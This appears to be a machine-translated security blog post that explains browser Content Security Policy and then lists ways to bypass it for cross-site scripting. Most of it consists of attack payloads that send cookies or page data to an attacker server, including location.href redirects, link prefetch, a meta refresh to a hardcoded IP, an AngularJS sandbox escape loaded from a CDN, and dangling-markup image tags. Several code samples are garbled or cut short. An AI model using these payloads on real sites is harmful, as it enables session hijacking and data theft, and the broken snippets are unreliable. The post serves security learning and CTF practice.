XSS is the most common and harmful web security vulnerability, and defending against them requires a lot of programming and a lot of work. So, is there a way for the browser to automatically disable external injection of malicious scripts to fundamentally solve the problem? CSP came into being.
What is the CSP
Content Security Policy (CSP) is a common Security protection mechanism in web applications. It is essentially a whitelist system. The developer clearly tells the client which external resources can be loaded and executed, and which can not
How does a CSP work
Through the Response Header:
Content-Security-policy: default-src 'self'; script-src 'self' allowed.com; img-src 'self' allowed.com; style-src 'self';
Copy the code
Through HTML meta tags:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';" >Copy the code
CSP instruction
We can see that some of them are commonly used configuration parameter commands in CSP, and we also control the import source through these parameter commands, as illustrated below:
- Script-src: external script
- Style-src: style sheet
- Img SRC: image
- Media-src: media files (audio and video)
- Font-src: font file
- Object-src: plug-ins (such as Flash)
- The child – SRC: framework
- Frame-rooted: an embedded external resource (e.g
<frame>
,<iframe>
,<embed>
and<applet>
)- Connect-src: HTTP connection (via XHR, WebSockets, EventSource, etc.)
- Worker-src: worker script
- Manifest-src: indicates the manifest file
- Dedault-src: default value
- Frame-rooted: a page that restricts the embedding of a frame
- Base-uri: restrict
#href> - Form-action: restrict
#action>
- Block-all-mixed-content: HTTPS pages cannot load HTTP resources (browser default enabled)
- Upgrade-insecure -requests: automatically replaced all HTTP links on web pages that loaded external resources with HTTPS
- Plugin-types: Limits the plug-in formats that can be used
- Sandbox: Restrictions on browser behavior, such as no pop-ups, etc.
In addition to content-security-policy, there is also a content-security-policy-report-only field, which does not enforce the restriction option, but Only logs the violation of the restriction. It must be used in conjunction with the report-URI option.
Content-Security-Policy-Report-Only: default-src 'self'; . ; report-uri /my_amazing_csp_report_parser;Copy the code
CSP instruction value
After introducing the CSP instructions, let’s introduce the instruction values, that is, allowed or not allowed resources
- * : the asterisk indicates that any URL resource is allowed, without limitation;
- Self: indicates that only resources from the same source (same protocol, same domain name, same port) are allowed to be loaded on the page.
- Data: Only data mode (such as Base64 encoded images) is allowed to load resources.
- None: No resources are allowed to be loaded;
- Unsafe-inline: Allows inline resources, such as inline
<script>
Tag, inline event handler, inline<style>
But for safety reasons, it is not recommended to use;- Nonce: Defines the inline JS script that can be executed by using one-time encryption characters. The server generates one-time encryption characters and can only use them once.
The following is a concrete example to see the use of CSP instructions and instruction values:
This image from example.com will be allowed to load because it is a source of origin;
< script src=https://examples.com/script.js >, the js script will not be allowed to be loaded, because from examples.com, non homologous;
CSP bypass
CSP has been explored by security researchers since its birth. This paper summarizes some methods
Before we get started, we can all check out the corresponding CSP policies in CSP Evaluator.
The location. The href bypass
The href attribute is a readable and writable string that sets or returns the full URL of the currently displayed document.
CSP does not affect the location.href jump, because the jump function in most websites is realized by the front end, if the jump is restricted, a large part of the site will be affected, so using jump to bypass CSP is a universal method; Or script-src ‘unsafe-inline’; This rule can also be used with the bypass method
demo
<? php if (! Isset ($_COOKIE [' a '])) {setcookie (' a ', md5 (rand (0100 0))); } header("Content-Security-Policy: default-src 'self';" ); ? > <! DOCTYPE html> <html> <head> <title>CSP Test</title> </head> <body> <h2>CSP-safe</h2> <? php if (isset($_GET['a'])) { echo "Your GET content".@$_GET['a']; } / /? >Copy the code
This place can use the location jump: location. Href (window. The location/window. The open) around
exp
? A = < script > location. The href = "http://127.0.0.1" + document. Cookies; </script>Copy the code
We can use this method when we can execute any JS script but our cookies cannot be transferred out of band due to CSP blocking
location.href = "vps_ip:xxxx?" +document.cookieCopy the code
- Can execute any JS script, but because CSP cannot take out data
- CSP for
script-src 'unsafe-inline'
Link Label preloading caused the bypass
This is an old trick that restricts the tag in most browsers, but it may work in older browsers
<! -- firefox --> <link rel="dns-prefetch" href="//${cookie}.vps_ip"> <! -- chrome --> <link rel="prefetch" href="//vps_ip? ${cookie}">Copy the code
So how do we take our data out
Dynamically build the element, which then triggers a page jump
var link = document.createElement("link");
link.setAttribute("rel", "prefetch");
link.setAttribute("href", "//vps_ip/?" + document.cookie);
document.head.appendChild(link);
Copy the code
So you can take the cookie out
- Can execute any JS script, but cannot take out data because of CSP
Meta Web redirect bypasses
Similar to the principle of link tag, meta tag is used to realize web page hopping
http://127.0.0.1/csp.php?xss== < meta HTTP - equiv = "refresh" content = "1; Url = HTTP: / / http://150.158.188.194:7890/ ">Copy the code
In addition, meta tags have some unusual features that can sometimes work wonders
- The meta can control the cache (if the header is not set) and can sometimes be used to bypass the CSP nonce.
<meta http-equiv="cache-control" content="public">
Copy the code
- Meta can set cookies (in Firefox) and can be used in conjunction with self-xSS
<meta http-equiv="Set-Cookie" Content="cookievalue=xxx; expires=Wednesday,21-Oct-98 16:14:21 GMT; path=/">Copy the code
Meta, a label that many people ignore, can actually do a lot of things, and we will have the opportunity to further analyze it later
The iframe bypass
The iframe element creates an inline frame (inline frame) that contains another document. You can set this up to allow cross-domain access. There are security issues involved, but that’s not what we’re going to use today
In CSP, sandbox and child-src can be configured to set the valid address of an iframe, which restricts the behavior of the appropriate IFrame, including blocking pop-ups, preventing the execution of plug-ins and scripts, and enforcing a same-origin policy.
Homology is the main character. When A homology site has two pages, we call them PAGE A and page B. If page A has CSP protection, but page B does not, we can directly create an IFrame on page B to operate the DOM of page A with JS, that is to say, the CSP protection of page A is completely invalid
demo&exp
<! <meta http-equiv=" content-security-policy "Content ="default-src 'self'; script-src 'self'"> <h1 id="flag">flag{0xffff}</h1>Copy the code
<! -- B page --> <! <body> <script> var iframe = document.createElement('iframe'); . The iframe SRC = "http://127.0.0.1/a.php"; document.body.appendChild(iframe); setTimeout(()=>alert(iframe.contentWindow.document.getElementById('flag').innerHTML),1000); </script> </body>Copy the code
SetTimeout is used to wait for the iframe to finish loading
You think that’s it? Then you’re as naive as I am
While looking for CSP to bypass the relevant information, I also found a fun thing (Master Zhazhami’s blog)
In Chrome, the iframe tag supports the CSP attribute, which can sometimes be used to bypass some defenses, such as the “http://xxx” page has a JS library that filters the XSS vector, we can use the CSP attribute to disable the JS library.
<iframe csp="script-src 'unsafe-inline'" src="http://xxx"></iframe> Copy the code
- A same-origin site has two pages, one with CSP protection and one without XSS vulnerability
- The data we want is stored in CSP protected pages
CDN bypass
Generally speaking, the front-end needs many front-end frameworks and libraries, and some enterprises will choose to use JS frameworks on other CDN for efficiency or other reasons. When there are some frameworks with lower versions on these CDN, there may be risks of bypasses CSP
A Wormable XSS on HackMD! Let’s analyze a wave
demo
Let’s start with HackMD’s CSP strategy
content-security-policy: script-src 'self' vimeo.com https://gist.github.com www.slideshare.net https://query.yahooapis.com 'unsafe-eval' https://cdnjs.cloudflare.com https://cdn.mathjax.org https://www.google.com https://apis.google.com https://docs.google.com https://www.dropbox.com https://*.disqus.com https://*.disquscdn.com https://www.google-analytics.com https://stats.g.doubleclick.net https://secure.quantserve.com https://rules.quantcount.com https://pixel.quantserve.com https://js.driftt.com https://embed.small.chat https://static.small.chat https://www.googletagmanager.com https://cdn.ravenjs.com 'nonce-38703614-d766-4dff-954b-57372aafe8bd' 'sha256-EtvSSxRwce5cLeFBZbvZvDrTiRoyoXbWWwvEVciM5Ag=' 'sha256-NZb7w9GYJNUrMEidK01d3/DEtYztrtnXC/dQw7agdY4=' 'sha256-L0TsyAQLAc0koby5DCbFAwFfRs9ZxesA+4xg0QDSrdI='; img-src * data:; style-src 'self' 'unsafe-inline' https://assets-cdn.github.com https://cdnjs.cloudflare.com https://fonts.googleapis.com https://www.google.com https://fonts.gstatic.com https://*.disquscdn.com https://static.small.chat; font-src 'self' data: https://public.slidesharecdn.com https://cdnjs.cloudflare.com https://fonts.gstatic.com https://*.disquscdn.com; object-src *; media-src *; frame-src *; child-src *; connect-src *; base-uri 'none'; form-action 'self' https://www.paypal.com; upgrade-insecure-requestsCopy the code
Looking at safe-eval, we can think of Breaking XSS mitigations via Script Gadgets, but as we move on, it’s not that complicated. Because of the CSP policy also allows the https://cdnjs.cloudflare.com/ this js hosting services, this provides a lot of third-party libraries for introduction, This can be done directly via AngularJS libraries and client-side Template Injection’s well-established sandbox escape technique
And because WAF is completely trusted with comments, it can construct
>” —
When you combine those two, you get the final payload
exp
<! - foo = "-- -- > < script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js > < / script > < div ng - app > {{constructor.constructor('alert(document.cookie)')()}} </div> //sssss" -->Copy the code
See Orange’s article for more details
This exp can be used if the jquery-mobile library is used and the CSP contains “script-src ‘unsafe-eval'” or “script-src ‘strict-dynamic'”
<div data-role=popup id='<script>alert(1)</script>'></div>
Copy the code
Also like the AMP library in RCTF2018, the following tag can get the cookie named FLAG
<amp-pixel src="http://your domain/? cid=CLIENT_ID(FLAG)"></amp-pixel>Copy the code
In a word, this bypass method can mainly use the corresponding payload format on the Internet to bypass CSP. Some JS libraries that can be used for CDN bypass are summarized in Breaking XSS Mitigations via Script Gadgets for reference
- The CDN service provider has a low version of JS library
- The CDN service provider is in the CSP whitelist
Site controlled static resource bypass
Give an (instance) coDIMd XSS that bypasses coDIMd
In the case of coDIMd, www.google-analytics.com is used in the CSP while www.google.analytics.com provides custom javascript functionality (Google will encapsulate custom JS, Unsafe-eval is also required, so CSP can be bypassed
demo
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'unsafe-eval' https://www.google-analytics.com">
<script src="https://www.google-analytics.com/gtm/js?id=GTM-PJF5W64"></script>
Copy the code
exp
Similarly, if another site provides the ability to control static resources and this site is allowed in the CSP, you can bypass it in this way
- A controllable static resource exists. Procedure
- The site is on the CSP allowed list
Incomplete script tag bypassed
Let’s start with a little tidbit: when the browser hits an open Angle bracket, it changes to the tag start state, and continues until it hits a close Angle bracket, where the data is treated as a tag name or attribute
All right, let’s do it
demo1
<? php header("X-XSS-Protection:0"); ? > <meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-xxxxx'"> <? php echo $_GET['xss']? > <script nonce='xxxxx'> //do some thing </script>Copy the code
exp
When we type http://127.0.0.1/2.php? XSS =
Will be treated as an attribute in the script tag we entered, successfully bypassing script-src
demo2
In Chrome, though, the second <script is taken as an attribute name, but it still interferes with chrome’s parsing of the label, causing errors and preventing exp from executing successfully
exp
The trick with tags is that when a tag has two attributes with the same name, the name of the second attribute and its value are ignored by the browser
<! -- 3.php --> <h1 a="123" b="456" a="789" a="abc">123</h1>Copy the code
So we can type http://127.0.0.1/2.php? XSS =123
- The controllable point is above the legal script tag, and there are no other tags in it
- The CSP script-src of THE XSS page uses only nonce mode
Incomplete resource tags get resources
demo
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'; img-src *;" > <? php echo $_GET['xss']? > <h1>flag{0xffff}</h1> <h2 id="id">3</h2>Copy the code
It’s not uncommon for img to use *. Some sites use a lot of external links, so we can create any new tag, but since CSP our JS doesn’t execute (not unsafe-inline), we can use an infinite
exp
http://127.0.0.1/csp.php?xss= < img SRC = "/ / vps_ip? = aCopy the code
Since the SRC quote we passed is not closed, the HTML parser looks for the second quote, and until the quote before “id” appears, everything will be sent to our VPS as the SRC value
Note that exp will not succeed in Chrome, because Chrome does not allow urls with carriage returns or <
- External domain resources can be loaded (img-src: *)
- You need to get information somewhere on the page
302 (redirect) Bypassed
Most of the time, a website will have a 302 redirect page, which is used to direct resources or external links to the site. Let’s take a look at the W3C documentation on redirection www.w3.org/TR/CSP2/#so…
Obviously, if our script-src is set to a directory, it is possible to bypass CSP and read scripts in another directory through a 302 jump in that directory.
So let’s do a simulation
demo
<! -- csp.php --> <? php header("Content-Security-Policy: default-src 'self'; Script SRC - http://127.0.0.1/a/ "); ? > <html> <head> </head> <body> csp header test </body> </html>Copy the code
<! -- redirect.php --> <? php header("Location: " . $_GET[url]); ? >Copy the code
<! -- test.php --> <! DOCTYPE html> <html> <head> <title>1</title> </head> <body> 123 </body> </html>Copy the code
The CSP limits the /a/ directory, and our target script will pass the CSP if the redirect page is directed to /b/
exp
http://127.0.0.1/a/redirect.php?url=/b/test.php
Copy the code
The loaded resources must reside in a domain that is in the same domain as example.com. In other words, it is not possible to load scripts from other domains using the 302 redirect. For example, it is not possible to load scripts from b.com using the 302 redirect
But!!! Another but, in a real world, such as a station calling a CDN, or something like script-src example.com/scripts/ google.com/recaptcha/, google.com/script/* has evil.js, Then there happens to be a redirect in the station, and the vulnerability condition is established.
- In the script-src allowed domain, there needs to be a redirected page, such page mostly exists for login, login and exit
- There is an upload point for any file (any directory) in the script-src allowed domain
- There are special ways to send requests across domains, or there are site-in-domains that can accept requests
This paper introduces the basic principle of CSP defense mechanism, using script gadget to bypass CSP, and then implement XSS attack, and analyzes the attack principle and process.